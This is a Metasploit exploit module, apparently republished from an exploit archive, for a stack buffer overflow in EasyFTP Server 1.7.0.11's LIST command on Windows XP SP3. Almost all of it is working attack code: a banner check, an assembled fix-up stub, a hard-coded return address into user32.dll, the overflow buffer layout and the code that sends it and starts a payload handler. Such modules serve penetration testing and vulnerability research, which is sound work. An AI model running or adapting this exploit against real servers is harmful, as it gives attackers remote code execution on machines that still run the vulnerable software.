EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow

`##  
# $Id: easyftp_list_fixret.rb 9935 2010-07-27 02:25:15Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
##  
# EDB-ID: 14400  
# Date : July 5, 2010  
# Discovered by : Karn Ganeshen  
# Version : 1.7.0.11  
# Tested on : Windows XP SP3 Version 2002  
# MFR & VAS TEAM : just testing howto convert exploits to metasploit modules.  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.  
credit goes to Karn Ganeshan.  
  
NOTE: Although, this is likely to exploit the same vulnerability as the   
'easyftp_cwd_fixret' exploit, it uses a slightly different vector.  
},  
'Author' =>  
[  
'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version  
'MFR', # convert to metasploit format.  
'jduck' # modified to use fix-up stub (works with bigger payloads)  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9935 $',  
'References' =>  
[  
[ 'OSVDB', '62134' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/14400/' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/14451/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x0a\x0d\x2f\x5c",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 - Version 2002', { 'Ret' => 0x7e49732b } ], # call edi from user32.dll (v5.1.2600.5512)  
],  
'DisclosureDate' => 'July 5 2010',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /BigFoolCat/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
# NOTE:  
# This exploit jumps to edi, which happens to point at a partial version of  
# the 'buf' string in memory. The fixRet below fixes up the code stored on the  
# stack and then jumps there to execute the payload. The value in esp is used  
# with an offset for the fixup.  
fixRet_asm = %q{  
mov edi,esp  
mov [edi], 0xfeedfed5  
add edi, 0xfffffff4  
mov byte ptr [edi], 0xc0  
add edi,4  
mov [edi], 0xdeadbeef  
add edi, 0xffffff24  
add esp, 0xfffffe04  
jmp edi  
}  
fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string  
  
buf = ''  
  
print_status("Prepending fixRet...")  
buf << fixRet  
buf << make_nops(0x30 - buf.length)  
  
print_status("Adding the payload...")  
buf << payload.encoded  
  
# Patch the original stack data into the fixer stub  
buf[4, 4] = buf[268 + 8, 4]  
buf[16, 1] = buf[268-4, 1]  
buf[22, 4] = buf[268, 4]  
  
print_status("Overwriting part of the payload with target address...")  
buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes  
  
print_status("Sending exploit buffer...")  
send_cmd( ['LIST', buf] , false)  
  
handler  
disconnect  
end  
  
end  
`